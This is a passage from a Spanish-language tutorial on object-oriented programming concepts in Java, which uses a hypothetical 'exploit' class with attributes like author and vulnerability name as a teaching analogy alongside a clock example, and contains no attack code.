void (antes del método), indica que la llamada al método no devuelve ningún tipo. Sin embargo, es necesario pasarle un argumento tipo String, como es la cadena de caracteres de la dirección offset para que, por ejemplo, el código del método implemente esa dirección offset y entonces lance el exploit ya ajustado a las características del sistema objetivo.

Si este ejemplo del objeto-exploit te ha resultado demasiado confuso por los tecnicismos empleados, quizás te resulte más fácil comprender un objeto-reloj. Tiene los atributos Hora (= 19:00), Fecha (= 31/12/2004) y Marca (=Casio) y sus métodos podrían ser getHora (para pedir la hora que marca el reloj), getFecha (para pedir la fecha que marca el reloj), getMarca (para pedir la marca del reloj), setHora (para introducir una nueva hora en el reloj) y setFecha (para introducir una nueva fecha en el reloj). Jejejeje, mejor así?? ;)


1.2) Concepto de Clase.
Justo antes del dibujo del objeto-exploit, he remarcado que ese diagrama representaba su "plantilla". Es decir, imagina que tenemos una plantilla para crear muchos objetos-exploit, todos ellos con los mismos tipos de atributos y los mismos métodos, pero cada uno con su identidad propia. Otro ejemplo de objeto-exploit diferente podría contener la siguiente información en sus atributos:
Autor = fiNis,
Vulnerabilidad = Jordan Telnet Server Buffer Overflow,
Lenguaje = C
y tener los mismos métodos para acceder a estos atributos, pero como ves, la identidad es distinta.

Las clases son una especie de plantilla para los objetos, es decir, si se piensa en una clase como un molde de galletas, los objetos que se crean a partir de esa clase son las galletas.
Definimos formalmente clase como la representación de la estructura (atributos) y comportamiento (métodos) de un objeto.
La creación de un objeto a partir de una clase se denomina "instanciación". Cualquier objeto que se instancie de una clase creará una copia de la definición de atributos de la clase y dispondrá de los métodos definidos en ella.
Para crear objetos, se invoca al constructor de la clase, que es un método que se llama igual que la clase.

Tipos de clases:
- Clase abstracta: ningún objeto pertenece directamente a dicha clase.
- Clase concreta: exiten objetos que pertenecen directamente a dicha clase.


1.3) Atributos y Métodos de Objeto/Clase
Antes hemos visto que un Objeto se compone de:
  - Atributos (datos o variables): Información que posee cada objeto y que identifica su estado.
  - Métodos (operaciones o funciones): Conjunto de instrucciones que definen el comportamiento del objeto. Reciben unos argumentos y devuelven un resultado.

Y hemos dicho que la única manera de acceder a los atributos de los objetos, es a través de los métodos.
Los métodos son un conjunto de instrucciones al cual se le pueden pasar unos argumentos y/o devolver unos resultados.
Existen dos tipos de métodos:
- Métodos de instancia: invocados en los objetos.
- Métodos de clase: invocados en las clases. Estos atributos y métodos serán compartidos por todos los objetos creados a partir de una misma clase.

Para comprender el concepto de atributo/método de instancia o de clase, volvamos al ejemplo del objeto-reloj:
Imaginemos una clase-reloj que crea objetos-reloj, todos de la misma marca = Casio. Estos objetos-reloj implementan los atributos Hora, Fecha y Marca; y los métodos getHora, getFecha, getMarca, setHora y setFecha. Sin embargo, algunos de estos atributos y métodos son de clase y otros son de instancia:

- Atributos de instancia:
   · Hora
   · Fecha
- Métodos de instancia:
   · getHora
   · getFecha

- Atributos de clase:
   · Marca
- Métodos de clase:
   · getMarca

Se puede distinguir las diferencias entre unos y otros de manera sencilla:

   · Si le preguntamos a dos objetos (relojA y relojB) con getHora o getFecha, nos pueden contestar un valor diferente para cada objeto. Estos atributos y métodos serán denominados atributos de instancia y métodos de instancia.
   · Si le preguntamos a dos objetos (relojA y relojB) con getMarca, ambos contestarán el mismo valor = Casio, ya que la clase-reloj se lo ha asignado forzósamente. Estos atributos y métodos serán denominados atributos de clase y métodos de clase.
En este caso, por ejemplo, si existiera el método setMarca y modificaramos el atributo Marca de cualquier objeto a través de él, este atributo se modificaría para todos los objetos, pues estamos tratando con métodos de clase.

CONSECUENCIAS
Cualquier objeto creado a partir de una clase contendrá la definición de los atributos de clase y dispondrá de los método de clase. Por tanto, cuando se modifica un atributo de clase a través de un objeto, se modifica ese atributo en todos los objetos creados a partir de esa clase.


Especificaciones sobre los métodos:
Un objeto de clase no puede acceder a un método de instancia, porque no sabemos si el objeto al que intenta acceder ha sido ya creado. Sin embargo, el resto de accesos son posibles:
   · método de clase - método de clase
   · método de instancia - método de instancia
   · método de instancia - método de clase
Asimismo, un método de instancia de un objeto A no puede acceder directamente a los atributos (variables) de un objeto B, pero puede hacer referencia a un método de instancia del objeto B, y que sea este el que acceda a los atributos del objeto B.


1.4) Modificadores de acceso.
Alcance de los modificadores de acceso prefijos a atributos y métodos:

- public: accesible desde cualquier lugar de la aplicación (por el resto de clases).
- private: sólo accesible desde la clase a la que pertenece.
- protected: disponible para la clase actual, clases del mismo paquete y subclases derivadas de esa clase.


1.5) Paradigmas de la POO

1.5.1) Abstracción
Consiste en abstraer conceptualmente los atributos y comportamiento (métodos) comunes a un determinado conjunto de objetos y almacenarlos en una clase.

1.5.2) Encapsulamiento
El encapsulamiento es el principio por el cual se ocultan los detalles de implementación al usuario.
Cada clase tiene dos partes:
   · El Interfaz es la parte pública con la que interactúa el usuario (métodos públicos)
   · La Implementación es el código que realiza todas las operaciones de la clase (métodos privados)

1.5.3) Herencia
La herencia permite crear una clase nueva (subclase o clase derivada) que tenga el mismo comportamiento que otra (superclase o clase base) y además extienda o adapte ese comportamiento a unas necesidades específicas.
La nueva subclase heredará los atributos y los métodos de la clase base, los cuales se añadirán a los definidos en la propia subclase.

Continuando con el ejemplo de la clase-exploit, observamos que por Internet circulan bastantes exploits que afectan a vulnerabilidades en servicios de Microsoft Windows. ¿Por qué no agrupar todo este conjunto de objetos-exploit bajo una nueva clase-winexploit?. Esta nueva clase-winexploit herederá los mismos atributos (Autor, Vulnerabilidad y Lenguaje) y los mismos métodos (getAutor, getVulnerabilidad, getLenguaje y setOffset) de la clase-exploit. A su vez, "extenderá su comportamiento" implementando otros atributos y otros métodos específicos como, por ejemplo, el atributo CodigoMS (referente al Codigo Microsoft Security Bulletin asignado a la vulnerabilidad) y el método getCodigoMS.
La clase-winexploit quedaría así:

------------------------------------------
|                        getLenguaje       |
|   getVulnerabilidad                      |
|            ---------------               |
|           |   Autor       |              |
|           |               | getAutor     |
|           |Vulnerabilidad |              |
|           |               |              |
|           |     Lenguaje  |              |
|           | CodigoMS      |              |
|            ---------------               |
|                                          |
| setOffset                                |
|                          getCodigoMS     |
------------------------------------------


Un ejemplo de objeto-winexploit podría ser el siguiente:
- Atributos:
   (atributos heredados de la clase-exploit)
   · Autor: Wirepair
   · Vulnerabilidad: Windows Workstation Service WKSSVC.DLL Buffer Overflow
   · Lenguaje: C
   
   (nuevos atributos implementados por la clase-winexploit)
   · CodigoMS: MS03-049

- Metodos:
   (métodos heredados de la clase-exploit)
   · getAutor
   · getVulnerabilidad
   · getLenguaje
   · setOffset

   (nuevos métodos implementados por la clase-winexploit)
   · getCodigoMS

   
La sintaxis en Java para indicar que una nueva clase hereda de otra superclase es:

class winexploit extends exploit


Especificaciones sobre la Herencia:
Además de "extender" el comportamiento implementando nuevos atributos y nuevos métodos, una clase heredada puede "adaptar" el comportamiento sobreescribiendo la funcionalidad de la clase base, esto es, sobreescribiendo la implementación del algún método heredado de la clase base para que al llamar a ese método desde la nueva clase heredada, en vez de ejecutar el código original del método heredado, se ejecute un nuevo código adaptado al comportamiento de la nueva clase. (Polimorfismo)

1.5.4) Polimorfismo
El Polimorfismo es la respuesta distinta frente a una llamada a un método dependiendo de la naturaleza del objeto.
Consiste en definir métodos distintos, que comparten el mismo nombre, pero que se aplican a clases diferentes.
Por ejemplo, un método llamado breathe puede responder de manera distinta dependiendo de quien lo invoque:

Código (java) [Seleccionar]
class animal
{
   public void breathe()
   {
       System.out.println("Respirar...");
   }
}

class pez extends animal
{
   public void breathe()
   {
       System.out.println("Burbujear...");
   }
}


Si se invoca el método breathe desde un objeto-perro, imprimirá en pantalla "Respirar...", pero si es invocado desde un objeto-trucha, imprimirá en pantalla "Burbujear...".


Otra forma de utilizar polimorfismo es mediante la sobrecarga de funciones:

char convertir_numero_cadena(int valor, char cadena, int base)
char convertir_numero_cadena(long valor, char cadena, int base)


En este caso, cuando se invoca la función, el compilador debe analizar los argumentos de la llamada y, en función de su tipo, deducir cual de las distintas versiones del método con ese nombre debe recibir el control.

Recopilación de Ejercicios Java POO(Programación Orientada a Objetos)

http://jleyer.wordpress.com/2010/07/27/recopilacion-de-ejercicios-programacion-orientada-a-objetos/